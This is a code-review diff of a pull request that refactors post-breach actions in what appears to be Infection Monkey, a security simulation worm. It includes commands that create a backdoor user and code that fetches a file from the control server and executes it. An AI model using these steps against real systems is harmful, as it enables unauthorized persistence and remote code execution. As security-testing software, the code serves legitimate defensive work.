Merge pull request #316 from VakarisZ/post_breach_refactor

Post breach refactored to support PBA's from list
This commit is contained in:
Daniel Goldberg 2019-05-30 10:07:06 +03:00 committed by GitHub
commit 9f0e3c8513
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
15 changed files with 208 additions and 229 deletions

View File

@ -20,7 +20,6 @@ class Configuration(object):
# now we won't work at <2.7 for sure # now we won't work at <2.7 for sure
network_import = importlib.import_module('infection_monkey.network') network_import = importlib.import_module('infection_monkey.network')
exploit_import = importlib.import_module('infection_monkey.exploit') exploit_import = importlib.import_module('infection_monkey.exploit')
post_breach_import = importlib.import_module('infection_monkey.post_breach')
unknown_items = [] unknown_items = []
for key, value in formatted_data.items(): for key, value in formatted_data.items():
@ -37,9 +36,6 @@ class Configuration(object):
elif key == 'exploiter_classes': elif key == 'exploiter_classes':
class_objects = [getattr(exploit_import, val) for val in value] class_objects = [getattr(exploit_import, val) for val in value]
setattr(self, key, class_objects) setattr(self, key, class_objects)
elif key == 'post_breach_actions':
class_objects = [getattr(post_breach_import, val) for val in value]
setattr(self, key, class_objects)
else: else:
if hasattr(self, key): if hasattr(self, key):
setattr(self, key, value) setattr(self, key, value)

View File

@ -20,6 +20,8 @@ requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024 DOWNLOAD_CHUNK = 1024
PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s"
# random number greater than 5, # random number greater than 5,
# to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere. # to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
TIMEOUT_IN_SECONDS = 15 TIMEOUT_IN_SECONDS = 15
@ -307,3 +309,13 @@ class ControlClient(object):
target_addr, target_port = None, None target_addr, target_port = None, None
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port) return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
@staticmethod
def get_pba_file(filename):
try:
return requests.get(PBA_FILE_DOWNLOAD %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
except requests.exceptions.RequestException:
return False

View File

@ -121,10 +121,7 @@ class InfectionMonkey(object):
system_info = system_info_collector.get_info() system_info = system_info_collector.get_info()
ControlClient.send_telemetry("system_info_collection", system_info) ControlClient.send_telemetry("system_info_collection", system_info)
for action_class in WormConfiguration.post_breach_actions: # Executes post breach actions
action = action_class()
action.act()
PostBreach().execute() PostBreach().execute()
if 0 == WormConfiguration.depth: if 0 == WormConfiguration.depth:

View File

@ -15,7 +15,7 @@ def main():
a = Analysis(['main.py'], a = Analysis(['main.py'],
pathex=['..'], pathex=['..'],
hiddenimports=get_hidden_imports(), hiddenimports=get_hidden_imports(),
hookspath=None, hookspath=['./pyinstaller_hooks'],
runtime_hooks=None, runtime_hooks=None,
binaries=None, binaries=None,
datas=None, datas=None,

View File

@ -1,4 +1 @@
__author__ = 'danielg' __author__ = 'danielg'
from add_user import BackdoorUser

View File

@ -0,0 +1,11 @@
from os.path import dirname, basename, isfile, join
import glob
def get_pba_files():
"""
Gets all files under current directory(/actions)
:return: list of all files without .py ending
"""
files = glob.glob(join(dirname(__file__), "*.py"))
return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')]

View File

@ -0,0 +1,19 @@
import datetime
from infection_monkey.post_breach.pba import PBA
from infection_monkey.config import WormConfiguration
__author__ = 'danielg'
LINUX_COMMANDS = ['useradd', '-M', '--expiredate',
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
WormConfiguration.user_to_add]
WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
WormConfiguration.remote_user_pass,
'/add', '/ACTIVE:NO']
class BackdoorUser(PBA):
def __init__(self):
super(BackdoorUser, self).__init__("Backdoor user", linux_cmd=LINUX_COMMANDS, windows_cmd=WINDOWS_COMMANDS)

View File

@ -0,0 +1,91 @@
import os
import logging
from infection_monkey.utils import is_windows_os
from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
from infection_monkey.utils import get_monkey_dir_path
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
# Default commands for executing PBA file and then removing it
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
DIR_CHANGE_WINDOWS = 'cd %s & '
DIR_CHANGE_LINUX = 'cd %s ; '
class UsersPBA(PBA):
"""
Defines user's configured post breach action.
"""
def __init__(self):
super(UsersPBA, self).__init__("File execution")
self.filename = ''
if not is_windows_os():
# Add linux commands to PBA's
if WormConfiguration.PBA_linux_filename:
if WormConfiguration.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd
self.filename = WormConfiguration.PBA_linux_filename
else:
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename)
self.command = DEFAULT_LINUX_COMMAND.format(file_path)
self.filename = WormConfiguration.PBA_linux_filename
elif WormConfiguration.custom_PBA_linux_cmd:
self.command = WormConfiguration.custom_PBA_linux_cmd
else:
# Add windows commands to PBA's
if WormConfiguration.PBA_windows_filename:
if WormConfiguration.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd
self.filename = WormConfiguration.PBA_windows_filename
else:
file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename)
self.command = DEFAULT_WINDOWS_COMMAND.format(file_path)
self.filename = WormConfiguration.PBA_windows_filename
elif WormConfiguration.custom_PBA_windows_cmd:
self.command = WormConfiguration.custom_PBA_windows_cmd
def _execute_default(self):
if self.filename:
UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename)
return super(UsersPBA, self)._execute_default()
@staticmethod
def should_run(class_name):
if not is_windows_os():
if WormConfiguration.PBA_linux_filename or WormConfiguration.custom_PBA_linux_cmd:
return True
else:
if WormConfiguration.PBA_windows_filename or WormConfiguration.custom_PBA_windows_cmd:
return True
return False
@staticmethod
def download_pba_file(dst_dir, filename):
"""
Handles post breach action file download
:param dst_dir: Destination directory
:param filename: Filename
:return: True if successful, false otherwise
"""
pba_file_contents = ControlClient.get_pba_file(filename)
if not pba_file_contents or not pba_file_contents.content:
LOG.error("Island didn't respond with post breach file.")
return False
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(pba_file_contents.content)
return True
except IOError as e:
LOG.error("Can not upload post breach file to target machine: %s" % e)
return False

View File

@ -1,52 +0,0 @@
import datetime
import logging
import subprocess
import sys
from infection_monkey.config import WormConfiguration
LOG = logging.getLogger(__name__)
# Linux doesn't have WindowsError
try:
WindowsError
except NameError:
WindowsError = None
__author__ = 'danielg'
class BackdoorUser(object):
"""
This module adds a disabled user to the system.
This tests part of the ATT&CK matrix
"""
def act(self):
LOG.info("Adding a user")
try:
if sys.platform.startswith("win"):
retval = self.add_user_windows()
else:
retval = self.add_user_linux()
if retval != 0:
LOG.warn("Failed to add a user")
else:
LOG.info("Done adding user")
except OSError:
LOG.exception("Exception while adding a user")
@staticmethod
def add_user_linux():
cmd_line = ['useradd', '-M', '--expiredate',
datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
WormConfiguration.user_to_add]
retval = subprocess.call(cmd_line)
return retval
@staticmethod
def add_user_windows():
cmd_line = ['net', 'user', WormConfiguration.user_to_add,
WormConfiguration.remote_user_pass,
'/add', '/ACTIVE:NO']
retval = subprocess.call(cmd_line)
return retval

View File

@ -1,68 +0,0 @@
from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
from infection_monkey.utils import get_monkey_dir_path
import requests
import os
import logging
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
# Default commands for executing PBA file and then removing it
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
class FileExecution(PBA):
"""
Defines user's file execution post breach action.
"""
def __init__(self, linux_command="", windows_command=""):
self.linux_filename = WormConfiguration.PBA_linux_filename
self.windows_filename = WormConfiguration.PBA_windows_filename
super(FileExecution, self).__init__("File execution", linux_command, windows_command)
def _execute_linux(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
return super(FileExecution, self)._execute_linux()
def _execute_win(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
return super(FileExecution, self)._execute_win()
def add_default_command(self, is_linux):
"""
Replaces current (likely empty) command with default file execution command (that changes permissions, executes
and finally deletes post breach file).
Default commands are defined as globals in this module.
:param is_linux: Boolean that indicates for which OS the command is being set.
"""
if is_linux:
file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
else:
file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
@staticmethod
def download_PBA_file(dst_dir, filename):
"""
Handles post breach action file download
:param dst_dir: Destination directory
:param filename: Filename
:return: True if successful, false otherwise
"""
PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(PBA_file_contents.content)
return True
except IOError as e:
LOG.error("Can not download post breach file to target machine, because %s" % e)
return False

View File

@ -1,7 +1,9 @@
import logging import logging
from infection_monkey.control import ControlClient
import subprocess import subprocess
import socket from infection_monkey.control import ControlClient
from infection_monkey.utils import is_windows_os
from infection_monkey.config import WormConfiguration
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
@ -12,57 +14,57 @@ class PBA(object):
""" """
Post breach action object. Can be extended to support more than command execution on target machine. Post breach action object. Can be extended to support more than command execution on target machine.
""" """
def __init__(self, name="unknown", linux_command="", windows_command=""): def __init__(self, name="unknown", linux_cmd="", windows_cmd=""):
""" """
:param name: Name of post breach action. :param name: Name of post breach action.
:param linux_command: Command that will be executed on linux machine :param command: Command that will be executed on breached machine
:param windows_command: Command that will be executed on windows machine
""" """
self.linux_command = linux_command self.command = PBA.choose_command(linux_cmd, windows_cmd)
self.windows_command = windows_command
self.name = name self.name = name
def run(self, is_linux): def get_pba(self):
""" """
Runs post breach action command This method returns a PBA object based on a worm's configuration.
:param is_linux: boolean that indicates on which os monkey is running Return None or False if you don't want the pba to be executed.
:return: A pba object.
""" """
if is_linux: return self
command = self.linux_command
exec_funct = self._execute_linux
else:
command = self.windows_command
exec_funct = self._execute_win
if command:
hostname = socket.gethostname()
ControlClient.send_telemetry('post_breach', {'command': command,
'result': exec_funct(),
'name': self.name,
'hostname': hostname,
'ip': socket.gethostbyname(hostname)
})
def _execute_linux(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.linux_command)
def _execute_win(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.windows_command)
@staticmethod @staticmethod
def _execute_default(command): def should_run(class_name):
"""
Decides if post breach action is enabled in config
:return: True if it needs to be ran, false otherwise
"""
return class_name in WormConfiguration.post_breach_actions
def run(self):
"""
Runs post breach action command
"""
exec_funct = self._execute_default
result = exec_funct()
ControlClient.send_telemetry('post_breach', {'command': self.command,
'result': result,
'name': self.name})
def _execute_default(self):
""" """
Default post breach command execution routine Default post breach command execution routine
:param command: What command to execute
:return: Tuple of command's output string and boolean, indicating if it succeeded :return: Tuple of command's output string and boolean, indicating if it succeeded
""" """
try: try:
return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True
except subprocess.CalledProcessError as e: except subprocess.CalledProcessError as e:
# Return error output of the command # Return error output of the command
return e.output, False return e.output, False
@staticmethod
def choose_command(linux_cmd, windows_cmd):
"""
Helper method that chooses between linux and windows commands.
:param linux_cmd:
:param windows_cmd:
:return: Command for current os
"""
return windows_cmd if is_windows_os() else linux_cmd

View File

@ -1,16 +1,15 @@
import logging import logging
import infection_monkey.config import inspect
from file_execution import FileExecution import importlib
from pba import PBA from infection_monkey.post_breach.pba import PBA
from infection_monkey.post_breach.actions import get_pba_files
from infection_monkey.utils import is_windows_os from infection_monkey.utils import is_windows_os
from infection_monkey.utils import get_monkey_dir_path
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ' __author__ = 'VakarisZ'
DIR_CHANGE_WINDOWS = 'cd %s & ' PATH_TO_ACTIONS = "infection_monkey.post_breach.actions."
DIR_CHANGE_LINUX = 'cd %s ; '
class PostBreach(object): class PostBreach(object):
@ -19,65 +18,34 @@ class PostBreach(object):
""" """
def __init__(self): def __init__(self):
self.os_is_linux = not is_windows_os() self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration) self.pba_list = self.config_to_pba_list()
def execute(self): def execute(self):
""" """
Executes all post breach actions. Executes all post breach actions.
""" """
for pba in self.pba_list: for pba in self.pba_list:
pba.run(self.os_is_linux) pba.run()
LOG.info("Post breach actions executed") LOG.info("Post breach actions executed")
@staticmethod @staticmethod
def config_to_pba_list(config): def config_to_pba_list():
""" """
Returns a list of PBA objects generated from config. Passes config to each post breach action class and aggregates results into a list.
:param config: Monkey configuration
:return: A list of PBA objects. :return: A list of PBA objects.
""" """
pba_list = [] pba_list = []
pba_list.extend(PostBreach.get_custom_PBA(config)) pba_files = get_pba_files()
# Go through all of files in ./actions
for pba_file in pba_files:
# Import module from that file
module = importlib.import_module(PATH_TO_ACTIONS + pba_file)
# Get all classes in a module
pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass)
if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))]
# Get post breach action object from class
for pba_class in pba_classes:
if pba_class.should_run(pba_class.__name__):
pba = pba_class()
pba_list.append(pba)
return pba_list return pba_list
@staticmethod
def get_custom_PBA(config):
"""
Creates post breach actions depending on users input into 'custom post breach' config section
:param config: monkey's configuration
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
"""
custom_list = []
file_pba = FileExecution()
command_pba = PBA(name="Custom")
if not is_windows_os():
# Add linux commands to PBA's
if config.PBA_linux_filename:
if config.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
else:
file_pba.add_default_command(is_linux=True)
elif config.custom_PBA_linux_cmd:
command_pba.linux_command = config.custom_PBA_linux_cmd
else:
# Add windows commands to PBA's
if config.PBA_windows_filename:
if config.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
config.custom_PBA_windows_cmd
else:
file_pba.add_default_command(is_linux=False)
elif config.custom_PBA_windows_cmd:
command_pba.windows_command = config.custom_PBA_windows_cmd
# Add PBA's to list
if file_pba.linux_command or file_pba.windows_command:
custom_list.append(file_pba)
if command_pba.windows_command or command_pba.linux_command:
custom_list.append(command_pba)
return custom_list

View File

@ -0,0 +1,6 @@
from PyInstaller.utils.hooks import collect_submodules, collect_data_files
# Import all actions as modules
hiddenimports = collect_submodules('infection_monkey.post_breach.actions')
# Add action files that we enumerate
datas = (collect_data_files('infection_monkey.post_breach.actions', include_py_files=True))

View File

@ -21,7 +21,7 @@ class ConfigurePageComponent extends AuthComponent {
this.initialConfig = {}; this.initialConfig = {};
this.initialAttackConfig = {}; this.initialAttackConfig = {};
this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal'];
this.uiSchemas = ConfigurePageComponent.getUiSchemas(); this.uiSchemas = this.getUiSchemas();
// set schema from server // set schema from server
this.state = { this.state = {
schema: {}, schema: {},
@ -37,7 +37,7 @@ class ConfigurePageComponent extends AuthComponent {
}; };
} }
static getUiSchemas(){ getUiSchemas(){
return ({ return ({
basic: {"ui:order": ["general", "credentials"]}, basic: {"ui:order": ["general", "credentials"]},
basic_network: {}, basic_network: {},

View File

@ -2,7 +2,7 @@ import React from 'react';
import ReactTable from 'react-table' import ReactTable from 'react-table'
let renderArray = function(val) { let renderArray = function(val) {
return <span>{val.map(x => <span> {x}</span>)}</span>; return <span>{val.map(x => <span key={x}> {x}</span>)}</span>;
}; };
let renderIpAddresses = function (val) { let renderIpAddresses = function (val) {
@ -36,7 +36,7 @@ let renderDetails = function (data) {
columns={subColumns} columns={subColumns}
defaultPageSize={defaultPageSize} defaultPageSize={defaultPageSize}
showPagination={showPagination} showPagination={showPagination}
style={{"background-color": "#ededed"}} style={{"backgroundColor": "#ededed"}}
/> />
}; };